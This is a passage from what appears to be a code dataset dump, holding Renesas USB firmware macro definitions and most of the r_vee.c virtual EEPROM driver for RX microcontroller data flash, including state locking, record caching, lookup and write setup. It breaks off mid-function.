!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/\n/* !!!!! WARNING--You can not edit this file. !!!!!*/\n/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/\n\n/*****************************************************************************\nMacro definitions (for Preprocessor)\n******************************************************************************/\n\n#define USB_FW_OS_PP 1\n#define USB_FW_NONOS_PP 2\n\n#define USB_OS_CRE_USE_PP 1 /* cre_* system call USE */\n#define USB_OS_CRE_NOTUSE_PP 2 /* cre_* system call Not USE */\n\n#define USB_HS_PP 1 /* Hi-Speed */\n#define USB_FS_PP 2 /* Full-Speed */\n\n#define USB_1PORT_PP 1 /* 1 port mode */\n#define USB_2PORT_PP 2 /* 2 port mode */\n\n#define USB_HOST_PP 1\n#define USB_PERI_PP 2\n#define USB_HOST_PERI_PP 3\n#define USB_OTG_PP 4\n#define USB_NOUSE_PP 10\n#define USB_USE_PP 11\n#define USB_PERI0_PERI1_PP 17\n#define USB_PERI0_HOST1_PP 18\n#define USB_HOST0_PERI1_PP 19\n#define USB_HOST0_HOST1_PP 20\n\n/* Clock mode */\n#define USB_CLK_NOT_STOP_PP 0\n#define USB_CLK_XCKE_USE_PP 1\n#define USB_CLK_PCUT_USE_PP 2\n\n/* ATCKM mode */\n#define USB_ATCKM_NOT_USE_PP 0\n#define USB_ATCKM_USE_PP 1\n\n/* Sleep mode */\n#define USB_LPSM_DISABLE_PP 0 /* Low-power sleep disable (SOC) */\n#define USB_LPSM_ENABLE_PP 1 /* Low-power sleep enable (ASSP) */\n\n/* IP mode DEVADD MAX */\n#define USB_IP_DEVADD_A_PP 10 /* DEVADD_MAX=10 */\n#define USB_IP_DEVADD_5_PP 5 /* DEVADD_MAX=5 */\n\n/* Select PIPEBUF fix or variable */\n#define USB_PIPEBUF_FIX_PP 1\n#define USB_PIPEBUF_CHANGE_PP 2\n\n/* Select target chip define */\n#define USB_ASSP_PP 1\n#define USB_RX600_PP 2\n\n/* Data Trans mode */\n#define USB_TRANS_DMA_PP 1\n#define USB_TRANS_DTC_PP 2\n\n/* Default Bus size */\n#define USB_BUSSIZE_16_PP 16\n#define USB_BUSSIZE_32_PP 32\n\n/* Low Power Mode */\n#define USB_LPWR_NOT_USE_PP 0\n#define USB_LPWR_USE_PP 1\n\n/* Debug Console on/off */\n#define USB_DEBUG_ON_PP 1\n#define USB_DEBUG_OFF_PP 0\n\n/* BYTE ENDIAN */\n#define USB_BYTE_LITTLE_PP 0\n#define USB_BYTE_BIG_PP 1\n\n/* SPEED mode */\n#define USB_HS_DISABLE (uint16_t)0\n#define USB_HS_ENABLE (uint16_t)1\n\n/* H/W function type */\n#define USB_HOST (uint16_t)1 /* Host mode */\n#define USB_PERI (uint16_t)2 /* Peripheral mode */\n#define USB_HOST_PERI (uint16_t)3 /* Host/Peri mode */\n#define USB_OTG (uint16_t)4 /* Otg mode */\n\n/* H/W function type */\n#define USB_BIT0 (uint16_t)0x0001\n#define USB_BIT1 (uint16_t)0x0002\n#define USB_BIT2 (uint16_t)0x0004\n#define USB_BIT3 (uint16_t)0x0008\n#define USB_BIT4 (uint16_t)0x0010\n#define USB_BIT5 (uint16_t)0x0020\n#define USB_BIT6 (uint16_t)0x0040\n#define USB_BIT7 (uint16_t)0x0080\n#define USB_BIT8 (uint16_t)0x0100\n#define USB_BIT9 (uint16_t)0x0200\n#define USB_BIT10 (uint16_t)0x0400\n#define USB_BIT11 (uint16_t)0x0800\n#define USB_BIT12 (uint16_t)0x1000\n#define USB_BIT13 (uint16_t)0x2000\n#define USB_BIT14 (uint16_t)0x4000\n#define USB_BIT15 (uint16_t)0x8000\n#define USB_BITSET(x) (uint16_t)((uint16_t)1 << (x))\n\n/* nonOS Use */\n#define USB_SEQ_0 (uint16_t)0x0000\n#define USB_SEQ_1 (uint16_t)0x0001\n#define USB_SEQ_2 (uint16_t)0x0002\n#define USB_SEQ_3 (uint16_t)0x0003\n#define USB_SEQ_4 (uint16_t)0x0004\n#define USB_SEQ_5 (uint16_t)0x0005\n#define USB_SEQ_6 (uint16_t)0x0006\n#define USB_SEQ_7 (uint16_t)0x0007\n#define USB_SEQ_8 (uint16_t)0x0008\n#define USB_SEQ_9 (uint16_t)0x0009\n#define USB_SEQ_10 (uint16_t)0x000a\n\n#define USB_HUB_P1 (uint16_t)0x0001\n#define USB_HUB_P2 (uint16_t)0x0002\n#define USB_HUB_P3 (uint16_t)0x0003\n#define USB_HUB_P4 (uint16_t)0x0004\n\n/* Interrupt message num */\n#define USB_INTMSGMAX (uint16_t)15\n#define USB_DMAMSGMAX (uint16_t)15\n\n/* USB IP Number */\n#define USB_USBIP_0 (uint16_t)0\n#define USB_USBIP_1 (uint16_t)1\n#define USB_NOTUSE (uint16_t)2\n\n/* USB Device Connect */\n#define USB_DEV_NO_CONNECT (uint16_t)0\n#define USB_DEV_CONNECTED (uint16_t)1\n\n#endif\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.43293967843055725, "alphanum_fraction": 0.4368623197078705, "avg_line_length": 41.695770263671875, "blob_id": "010436cc6b289997e2e31d33700f54551b5d3002", "content_id": "8b46d714a4004ae2aa04d4f96f2371768ff9f10b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 95854, "license_type": "no_license", "max_line_length": 125, "num_lines": 2245, "path": "/r_vee/src/r_vee.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee.c\n* Description : Virtual EEPROM implementation using MCU's data flash memory\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 12.07.2011 1.00 First Release\n* : 03.01.2012 1.50 Updated for internal CS and for FIT. Added support for RX63x Groups. \n* : 14.09.2012 1.60 Updated for FIT v0.7 Spec. Fixed bug found when reset occurred after FULL flag was \n* written and before NEXTUP was written. VEE now handles this event.\n* : 03.01.2013 1.70 Added R_VEE_Open() function to initialize or reset VEE. Created r_vee_target.h to replace\n* multiple r_vee_<mcu>.h files that had duplicate information. Updated to be compliant with\n* FIT v1.00 specification. This means that config file is now in 'ref' folder. Tested with\n* RX62G, RX210, and RX63T. Added R_VEE_Control() function. Added vee_invalidate_cache().\n***********************************************************************************************************************/\n\n/* This file will declare const VEE Sector structures from r_vee_config.h */\n#define VEE_MEM_DECLARE\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Used for offsetof() */\n#include <stddef.h>\n/* Used for memcpy() */\n#include <string.h>\n/* Defines, prototypes, and other configuration parameters for VEE use */\n#include \"r_vee_if.h\"\n/* VEE structures. */\n#include \"r_vee_types.h\"\n/* Includes correct files for current VEE target MCU. */\n#include \"r_vee_target.h\"\n/* Used for Flash API calls. */\n#include \"r_flash_api_rx_if.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* This macro should only be used for testing purposes. This macro will remove the 'static' keyword from VEE data \n structures and functions. This is done so that these items can be expected during testing. */\n//#define VEE_TESTING\n\n#if defined(VEE_TESTING)\n #define VEE_STATIC \n#else\n #define VEE_STATIC static\n#endif\n\n/***********************************************************************************************************************\nPrivate Global Variables\n***********************************************************************************************************************/\n/* Holds the current state of the VEE */\nVEE_STATIC vee_states_t g_vee_state = VEE_READY;\n/* Cache used by VEE to hold record addresses */\nVEE_STATIC vee_cache_t g_vee_cache; \n/* Cache used to hold the next open address in sectors */\nVEE_STATIC vee_next_address_t g_vee_next_address[VEE_NUM_SECTORS]; \n/* A VEE Block can be made up of multiple MCU data flash blocks. When erasing a VEE Block we may end up erasing multiple \n MCU data flash bocks. */\n/* Current data flash block to erase */\nVEE_STATIC uint32_t g_vee_erase_block_current;\n/* Highest numbered data flash block to erase */\nVEE_STATIC uint32_t g_vee_erase_block_end;\n/* Holds the current write state */\nVEE_STATIC vee_write_states_t g_vee_write_state;\n/* Holds the record currently being written */\nVEE_STATIC vee_record_t g_vee_current_record;\n/* Holds the sector currently being operated on */\nVEE_STATIC uint8_t g_vee_current_sector;\n/* Holds the ACTIVE block currently being operated on */\nVEE_STATIC uint32_t g_vee_current_block_active;\n/* Holds the NEXTUP block currently being operated on */\nVEE_STATIC uint32_t g_vee_current_block_nextup;\n/* Current block being blank checked */\nVEE_STATIC uint32_t g_vee_blank_check_block_current;\n/* Last block to be blank checked */\nVEE_STATIC uint32_t g_vee_blank_check_block_end;\n/* Holds the current flash write address */\nVEE_STATIC vee_record_t far * g_vee_write_address;\n/* Used for locking state of VEE */\nVEE_STATIC bsp_lock_t g_vee_lock;\n#ifdef VEE_ENABLE_DF\n/* Holds whether the data flash has been enabled yet */\nVEE_STATIC uint8_t g_vee_df_enabled;\n#endif\n\n/***********************************************************************************************************************\nPrivate Function Prototypes\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_seek(vee_record_t *vee_temp);\nVEE_STATIC uint8_t vee_find_record(uint8_t sector, uint32_t block, vee_record_t *vee_temp);\n#ifdef VEE_CACHE_FILL_ALL \nVEE_STATIC uint8_t vee_fill_cache(void);\n#endif\nVEE_STATIC uint8_t vee_check_sector(uint8_t sector);\nVEE_STATIC uint8_t vee_check_block(uint8_t sector, uint32_t block);\nVEE_STATIC uint8_t vee_erase_block(uint8_t sector, uint32_t block);\nVEE_STATIC uint8_t vee_defrag_block(uint8_t sector, uint32_t active, uint32_t nextup);\nVEE_STATIC uint8_t vee_write_flag(uint8_t sector, uint32_t block, uint8_t flag, vee_var_min_t value);\nVEE_STATIC uint8_t vee_erase_and_defrag(uint8_t sector, uint32_t active, uint32_t nextup); \nVEE_STATIC uint8_t vee_start_write(vee_record_t * vee_temp); \nVEE_STATIC uint8_t vee_grab_state(vee_states_t state); \nVEE_STATIC uint8_t vee_check_input_record(vee_record_t * vee_temp, bool read_operation);\nVEE_STATIC uint8_t vee_check_input_sector(uint8_t sector);\nVEE_STATIC void vee_reset(void);\nVEE_STATIC uint8_t vee_invalidate_cache(uint8_t sector);\n\n/***********************************************************************************************************************\n* Function Name: vee_grab_state\n* Description : Tries to grab the VEE state\n* Arguments : state - \n* Which state to try to transfer to\n* Return value : VEE_SUCCESS - \n* Successful, state grabbed\n* VEE_BUSY -\n* Data flash is busy, state not grabbed\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_grab_state (vee_states_t state)\n{\n /* Local return variable */\n uint8_t ret = VEE_SUCCESS;\n \n /* Check flash status */\n if (1 == g_vee_df_enabled)\n {\n if( R_FlashGetStatus() != FLASH_SUCCESS )\n {\n /* Flash is busy */\n return VEE_BUSY;\n } \n }\n \n /* Try to lock VEE to change state. */\n /* Check to see if lock was successfully taken. */\n if(false == R_BSP_SoftwareLock(&g_vee_lock))\n {\n /* Another operation is on-going */\n return VEE_BUSY;\n }\n \n #ifdef VEE_ENABLE_DF\n \n /* Make sure data flash is enabled */\n if( g_vee_df_enabled == 0 )\n {\n /* Enable data flash */\n vee_enable_df();\n \n /* Remember that data flash has been enabled */\n g_vee_df_enabled = 1;\n }\n \n #endif\n\n /* If a reset is occuring then change the state no matter what. */\n if (VEE_RESET != state)\n {\n /* Check VEE status to make sure we are not stomping on another thread */\n if( state == VEE_READING )\n {\n /* If another read comes in while the state is reading then we are okay */\n if( ( g_vee_state != VEE_READY ) && ( g_vee_state != VEE_READING) ) \n {\n /* VEE is busy */\n ret = VEE_BUSY;\n } \n }\n else\n {\n /* If we are doing something other than reading then we must be in the VEE_READY state */\n if (g_vee_state != VEE_READY)\n {\n /* VEE is busy */\n ret = VEE_BUSY;\n }\n }\n }\n \n if( ret == VEE_SUCCESS )\n { \n /* Grab state */\n g_vee_state = state;\n }\n \n /* Release lock. */\n R_BSP_SoftwareUnlock(&g_vee_lock);\n \n return ret; \n\n}\n/***********************************************************************************************************************\nEnd of function vee_grab_state\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_ReleaseState\n* Description : Sets the VEE State to ready. User would call this function after having called R_VEE_Read(). This \n* will release the VEE state so that other operations can occur.\n* Arguments : none\n* Return Value : VEE_SUCCESS - \n* Successful, state released\n* VEE_FAILURE -\n* Cannot releas state during non-read operation\n***********************************************************************************************************************/\nuint8_t R_VEE_ReleaseState (void)\n{\n /* Initialize return to successful. */\n uint8_t ret = VEE_SUCCESS;\n\n /* This function can only release state if it was reading */ \n if (g_vee_state == VEE_READING)\n {\n /* Release state */\n g_vee_state = VEE_READY; \n }\n else if ((g_vee_state != VEE_READY) && (g_vee_state != VEE_READING))\n {\n /* Cannot release state. Another operation is still on-going. */\n ret = VEE_FAILURE;\n }\n else\n {\n /* This means that g_vee_state is VEE_READY which means that g_vee_state should not be modified.\n The g_vee_state variable should not be modified because of a race condition where g_vee_state is\n just about to be written as VEE_READY and then an interrupt occurs and R_VEE_Write() is called. At this time\n the state will be set to some writing state and when execution returns to here it could set the state to \n VEE_READY when it should not. */\n }\n\n return ret;\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_ReleaseState\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_GetState\n* Description : Returns the current state of the VEE\n* Arguments : none\n* Return Value : State of VEE\n***********************************************************************************************************************/\nvee_states_t R_VEE_GetState (void)\n{\n /* Return state */\n return g_vee_state;\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_GetState\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_Open\n* Description : Initializes and resets all VEE data structures\n* Arguments : none\n* Return Value : VEE_SUCCESS -\n* VEE initialized successfully.\n***********************************************************************************************************************/\nuint8_t R_VEE_Open (void)\n{\n /* Try to grab VEE State. */\n if( vee_grab_state(VEE_OPENING) != VEE_SUCCESS )\n {\n /* Could not grab state */\n return VEE_BUSY;\n }\n\n vee_reset();\n\n g_vee_state = VEE_READY;\n\n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_Open\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_reset\n* Description : Initializes and resets all VEE data structures\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nVEE_STATIC void vee_reset (void)\n{\n uint32_t i;\n\n /* Initialize all global variables. */\n g_vee_state = VEE_READY;\n g_vee_erase_block_current = 0;\n g_vee_erase_block_end = 0;\n g_vee_write_state = VEE_WRITE_DONE;\n g_vee_current_record.ID = 0;\n g_vee_current_record.size = 0;\n g_vee_current_record.check = 0;\n g_vee_current_record.block = 0;\n g_vee_current_record.pData = 0;\n g_vee_current_sector = 0;\n g_vee_current_block_active = 0;\n g_vee_current_block_nextup = 0;\n g_vee_blank_check_block_current = 0;\n g_vee_blank_check_block_end = 0;\n g_vee_write_address = (vee_record_t far *)0;\n #ifdef VEE_ENABLE_DF\n g_vee_df_enabled = 0;\n #endif\n\n /* Invalidate next address structure and cache. */\n for (i = 0; i < VEE_NUM_SECTORS; i++)\n {\n vee_invalidate_cache(i);\n }\n}\n/***********************************************************************************************************************\nEnd of function vee_reset\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_Read\n* Description : Returns address for data if record is cached. If not cached then it searches the data flash.\n* Arguments : vee_temp - \n* Structure with record information\n* Return Value : VEE_SUCCESS -\n* Successful, structure members set accordingly\n* VEE_NOT_FOUND - \n* Record not found\n* VEE_BUSY - \n* Data flash is busy, try again later\n* VEE_INVALID_INPUT -\n* Record sent in had invalid data.\n***********************************************************************************************************************/\nuint8_t R_VEE_Read (vee_record_t *vee_temp)\n{\n /* Local variable */\n vee_record_t far * record;\n\n /* Check record. */\n if (VEE_SUCCESS != vee_check_input_record(vee_temp, true))\n {\n /* Record was invalid. E.g. record ID is out of range. */\n return VEE_INVALID_INPUT;\n }\n \n /* Try to grab VEE State */\n if( vee_grab_state(VEE_READING) != VEE_SUCCESS )\n {\n /* Could not grab state */\n return VEE_BUSY;\n }\n \n #ifdef VEE_CACHE_FILL_ALL\n \n /* Check to see if cache has been filled yet, if not then fill it */\n if( g_vee_cache.valid != VEE_CACHE_ENTRY_VALID )\n {\n /* Cache needs to be filled */\n vee_fill_cache();\n }\n \n #endif \n \n /* Check the cache to see if entry is found */\n if( g_vee_cache.entries[vee_temp->ID].valid == VEE_CACHE_ENTRY_VALID )\n {\n /* Success, entry found in cache, fill in fields */\n record = g_vee_cache.entries[vee_temp->ID].address;\n \n /* Fill in data */\n vee_temp->pData = (uint8_t far *)&record->pData;\n \n /* Fill in size */\n vee_temp->size = record->size;\n \n /* Fill in check */\n vee_temp->check = record->check;\n \n /* Fill in block */\n vee_temp->block = record->block;\n \n /* Success */\n return VEE_SUCCESS; \n }\n#ifndef VEE_CACHE_FILL_ALL\n else\n {\n /* Seek for record in data flash */\n if( vee_seek(vee_temp) == VEE_SUCCESS )\n {\n /* Record was found, update cache */ \n g_vee_cache.entries[vee_temp->ID].address = (vee_record_t far *)\n (vee_temp->pData - offsetof(vee_record_t, pData));\n\n /* Update which VEE Block the record is in */\n g_vee_cache.entries[vee_temp->ID].block = vee_temp->block;\n \n /* Set cache entry as valid */\n g_vee_cache.entries[vee_temp->ID].valid = VEE_CACHE_ENTRY_VALID; \n \n /* Success */\n return VEE_SUCCESS; \n }\n }\n#endif\n\n /* Nothing to read so release state */\n g_vee_state = VEE_READY;\n\n /* Record Not Found */\n return VEE_NOT_FOUND; \n\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_Read\n***********************************************************************************************************************/\n\n#ifdef VEE_CACHE_FILL_ALL\n\n/***********************************************************************************************************************\n* Function Name: vee_fill_cache\n* Description : Fills in the VEE Cache with record locations \n* Arguments : none\n* Return Value : VEE_SUCCESS - \n* Successful, cache has been filled in\n* VEE_FAILURE -\n* Failure\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_fill_cache (void)\n{\n /* Local variables */\n uint8_t i;\n vee_record_t vee_temp;\n \n for(i = 0; i < VEE_MAX_RECORD_ID; i++)\n {\n /* Update Record ID */\n vee_temp.ID = i;\n \n /* Seek for record in data flash */\n if( vee_seek(&vee_temp) == VEE_SUCCESS )\n {\n /* Record was found, update cache */ \n g_vee_cache.entries[i].address = (vee_record_t far *)(vee_temp.pData - offsetof(vee_record_t, pData));\n \n /* Update which VEE Block the record is in */\n g_vee_cache.entries[vee_temp.ID].block = vee_temp.block;\n \n /* Set cache entry as valid */\n g_vee_cache.entries[i].valid = VEE_CACHE_ENTRY_VALID; \n } \n }\n \n /* Set 'valid' bit to show that cache has been filled in */\n g_vee_cache.valid = VEE_CACHE_ENTRY_VALID;\n\n /* Success */ \n return VEE_SUCCESS;\n}\n/***********************************************************************************************************************\nEnd of function g_vee_cache\n***********************************************************************************************************************/\n\n#endif /* VEE_CACHE_FILL_ALL */\n\n/***********************************************************************************************************************\n* Function Name: vee_seek\n* Description : Tries to find a record in the MCU's data flash\n* Arguments : vee_temp - \n* structure with record information\n* Return Value : VEE_SUCCESS -\n* Successful, structure filled in\n* VEE_NOT_FOUND -\n* Record was not found\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_seek (vee_record_t *vee_temp)\n{\n /* Loop variables */\n uint32_t i;\n /* Structure pointer for VEE Block info */\n vee_block_info_t block_info;\n \n /* Loop through blocks */\n for(i=0;i<g_vee_Sectors[g_vee_RecordLocations[vee_temp->ID]].num_VEE_blocks;i++)\n {\n /* Get block info */\n vee_get_block_info(g_vee_RecordLocations[vee_temp->ID],i, &block_info);\n \n /* Check for block with ACTIVE flag set. */\n if( (block_info.active == VEE_BLOCK_FLAG_SET) && \n (block_info.erasing == VEE_BLOCK_FLAG_NOT_SET ) )\n {\n /* See if record is found in this block */\n if( VEE_SUCCESS == vee_find_record(g_vee_RecordLocations[vee_temp->ID], i, vee_temp) )\n {\n /* Record found! */\n return VEE_SUCCESS;\n }\n else\n {\n /* Record not found */\n return VEE_NOT_FOUND;\n }\n } \n }\n\n /* If we get here then record was not found */\n return VEE_NOT_FOUND; \n}\n/***********************************************************************************************************************\nEnd of function vee_seek\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_find_record\n* Description : Searches for a record in a specific VEE Block \n* Arguments : sector - \n* Which sector to search\n* block - \n* Which VEE block to search\n* vee_temp - \n* Structure with record info\n* Return Value : VEE_SUCCESS -\n* Successful, record found\n* VEE_NOT_FOUND -\n* Record was not found\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_find_record (uint8_t sector, uint32_t block, vee_record_t *vee_temp)\n{\n /* Pointers for searching */\n vee_record_t *ptr, *end_addr; \n /* Boolean for whether we found valid record or not */\n uint8_t record_found = 0;\n \n /* Move past flags at beginning */\n ptr = (vee_record_t *)(((uint8_t *)g_vee_Sectors[sector].VEE_block_addr[block]) +\n ((VEE_BLOCK_STATE_NEXTUP+1)*sizeof(vee_var_min_t)));\n /* Flags are at beginning of block so end is the real end */\n end_addr = (vee_record_t *)(((uint8_t *)g_vee_Sectors[sector].VEE_block_addr[block]) + \n g_vee_Sectors[sector].VEE_block_size);\n \n /* Search until end of block */\n while(ptr < end_addr )\n {\n /* Make sure this address is not empty */\n if( vee_blank_check_address((uint8_t *)ptr) == VEE_SUCCESS )\n {\n /* Address was blank so search is done */ \n /* Exit loop */\n break;\n }\n \n /* Check to see if ID's match */\n if( vee_temp->ID == ptr->ID )\n {\n /* Check to make sure record is valid */\n if( vee_check_record(ptr) == VEE_SUCCESS )\n { \n /* We have a match, copy over record info, keep searching for newer versions though */\n vee_temp->check = ptr->check;\n vee_temp->size = ptr->size;\n vee_temp->pData = (uint8_t far *)&ptr->pData;\n vee_temp->block = block;\n /* Record found */\n record_found = 1;\n }\n else\n {\n /* This record is not valid which means that we should not try to continue onwards. Exit loop. */\n break; \n }\n }\n \n /* Move on to next record */\n ptr = (vee_record_t *)(((uint8_t *)&ptr->pData) + ptr->size);\n \n /* Only need to check boundary if minimum write size is larger than 1 byte */\n if( sizeof(vee_var_min_t) > 1 )\n {\n /* Due to program sizes on some data flashes we need to make sure that we are on a program boundary */\n ptr = (vee_record_t *)vee_move_to_boundary((uint32_t)ptr); \n }\n }\n \n /* Check to see if record was found */\n if( record_found == 1 )\n {\n /* Record found */\n return VEE_SUCCESS;\n }\n else\n {\n /* Record not found */\n return VEE_NOT_FOUND;\n }\n}\n/***********************************************************************************************************************\nEnd of function vee_find_record\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_VEE_Write\n* Description : Attempts to write a VEE Record to the data flash\n* Arguments : vee_temp - \n* Structure with record information\n* Return Value : VEE_SUCCESS - \n* Successful, write in progress\n* VEE_BUSY - \n* Defrag in process, try again later\n* VEE_NO_ROOM -\n* No room, need to call R_VEE_Erase() \n* VEE_FAILURE -\n* Failure\n* VEE_INVALID_INPUT -\n* Record sent in had invalid data.\n***********************************************************************************************************************/\nuint8_t R_VEE_Write (vee_record_t * vee_temp)\n{\n /* Local variables */\n uint8_t sector, ret;\n\n /* Check record. */\n if (VEE_SUCCESS != vee_check_input_record(vee_temp, false))\n {\n /* Record was invalid. E.g. record ID is out of range. */\n return VEE_INVALID_INPUT;\n }\n\n /* Try to grab VEE State */\n if( vee_grab_state(VEE_WRITING) != VEE_SUCCESS )\n {\n /* Could not grab state */\n return VEE_BUSY;\n }\n \n /* Get which sector this record will be stored in */\n sector = g_vee_RecordLocations[vee_temp->ID];\n \n#ifdef VEE_IGNORE_DUPLICATE_WRITES\n {\n /* Used for checking entries */ \n vee_record_t VEE_existing;\n /* Loop variable */\n vee_var_data_t i;\n /* Boolean for whether records match */\n uint8_t same;\n \n /* Check to see if the data that the user wants to write is the same as the record already in the VEE. If so, \n ignore this new write */\n \n /* Check to see if entry is cached */ \n if( g_vee_cache.entries[vee_temp->ID].valid == VEE_CACHE_ENTRY_VALID )\n {\n /* Copy over record information from data flash */\n memcpy(&VEE_existing, g_vee_cache.entries[vee_temp->ID].address, sizeof(VEE_existing)); \n \n /* Fix pData pointer */\n VEE_existing.pData = ((uint8_t far *)g_vee_cache.entries[vee_temp->ID].address) + offsetof(vee_record_t, pData);\n }\n else\n {\n /* Record not in cache, try to find it */\n \n /* Copy over ID */\n VEE_existing.ID = vee_temp->ID;\n \n /* Make pData 0 so we will know if we found the record or not */\n VEE_existing.pData = 0;\n \n /* Seek for record */\n vee_seek(&VEE_existing);\n \n /* If record was found then go ahead and update cache */\n if( (uint32_t)VEE_existing.pData != 0 )\n {\n /* Record was found, update cache */ \n g_vee_cache.entries[VEE_existing.ID].address = (vee_record_t far *)\n (VEE_existing.pData - offsetof(vee_record_t, pData));\n\n /* Update which VEE Block the record is in */\n g_vee_cache.entries[VEE_existing.ID].block = VEE_existing.block;\n \n /* Set cache entry as valid */\n g_vee_cache.entries[VEE_existing.ID].valid = VEE_CACHE_ENTRY_VALID; \n }\n }\n \n /* Was there an existing record with same ID? */\n if( (uint32_t)VEE_existing.pData != 0 )\n { \n /* Check size field */\n if( vee_temp->size == VEE_existing.size )\n {\n /* Check 'check' field */\n if( vee_temp->check == VEE_existing.check )\n {\n /* Check data */\n same = 1; \n\n for(i = 0; i < vee_temp->size; i++)\n {\n /* Check byte by byte */\n if( vee_temp->pData[i] != VEE_existing.pData[i] )\n {\n /* Data does not match */\n same = 0;\n \n break;\n }\n }\n \n /* Did all data match? */\n if( same == 1 )\n {\n /* Release state */\n g_vee_state = VEE_READY;\n \n /* Data did match */\n #ifdef VEE_CALLBACK_FUNCTION\n /* Call user's callback function */\n VEE_CALLBACK_FUNCTION();\n #endif\n \n /* No need to write */\n return VEE_SUCCESS;\n }\n /* Data did not match, continue with write */\n }\n } \n }\n }\n#endif \n \n /* Check to see if the next available address cached */\n if( g_vee_next_address[sector].valid != VEE_CACHE_ENTRY_VALID )\n {\n /* Next available write address not in cache. This means that this is the first write that has been issued. \n At this point error checking be done on this VEE Sector to see if a power down occurred during a program or \n erasure. If a error is detected, the API will start the process of fixing the problem. If no error is \n detected then this write will proceed on. */\n ret = vee_check_sector(sector);\n \n /* Check return value */\n if( ret == VEE_BUSY )\n {\n /* Something had to be fixed or initialized, come back later */\n return VEE_BUSY;\n } \n else if( ret == VEE_NOT_FOUND )\n {\n /* In this case no ACTIVE block was found so a blank check is now ongoing. If it returns that the block is \n blank then it will write the ACTIVE flag and then the record */\n\n /* Copy over record information to write to global variable */\n memcpy(&g_vee_current_record, vee_temp, sizeof(g_vee_current_record)); \n\n /* Record will be written once data flash is setup */ \n return VEE_SUCCESS; \n } \n }\n \n /* Is there room for this write? Need to take into consideration VEE structure as well as record data. */\n if( ((uint32_t)g_vee_next_address[sector].address + vee_temp->size + sizeof(vee_record_t) - \n sizeof(g_vee_current_record.pData)) > \n (g_vee_Sectors[sector].VEE_block_addr[g_vee_next_address[sector].block] + g_vee_Sectors[sector].VEE_block_size) )\n {\n /* Change state to signify write and defrag */\n g_vee_state = VEE_WRITE_AND_DEFRAG;\n \n /* Copy over record information to write to global variable */\n memcpy(&g_vee_current_record, vee_temp, sizeof(g_vee_current_record));\n \n /* Not enough room, time for a defrag */\n return R_VEE_Defrag(sector);\n }\n else\n {\n /* Room is available, write the record */\n return vee_start_write(vee_temp);\n }\n\n}\n/***********************************************************************************************************************\nEnd of function R_VEE_Write\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: vee_start_write\n* Description : Starts writing of record to data flash\n* Arguments : vee_temp - \n* Structure with record information\n* Return Value : VEE_SUCCESS - \n* Successful, write in progress\n* VEE_FAILURE - \n* Failure\n***********************************************************************************************************************/\nVEE_STATIC uint8_t vee_start_write (vee_record_t * vee_temp)\n{\n if( g_vee_next_address[g_vee_RecordLocations[vee_temp->ID]].valid != VEE_CACHE_ENTRY_VALID )\n {\n /* Next available address should already have been filled in */\n return VEE_FAILURE;\n }\n \n /* Init R_g_vee_write_address structure */\n g_vee_write_address = (vee_record_t far *) g_vee_next_address[g_vee_RecordLocations[vee_temp->ID]].address;\n \n /* Set g_vee_current_sector to update NextAddress later */\n g_vee_current_sector = g_vee_RecordLocations[vee_temp->ID];\n \n /* Copy over record information to write to global variable */\n memcpy(&g_vee_current_record, vee_temp, sizeof(g_vee_current_record)); \n \n /* Fill in 'block' field */\n g_vee_current_record.block = g_vee_next_address[g_vee_RecordLocations[vee_temp->ID]].block;\n \n /* Write 'ID' structure member */\n 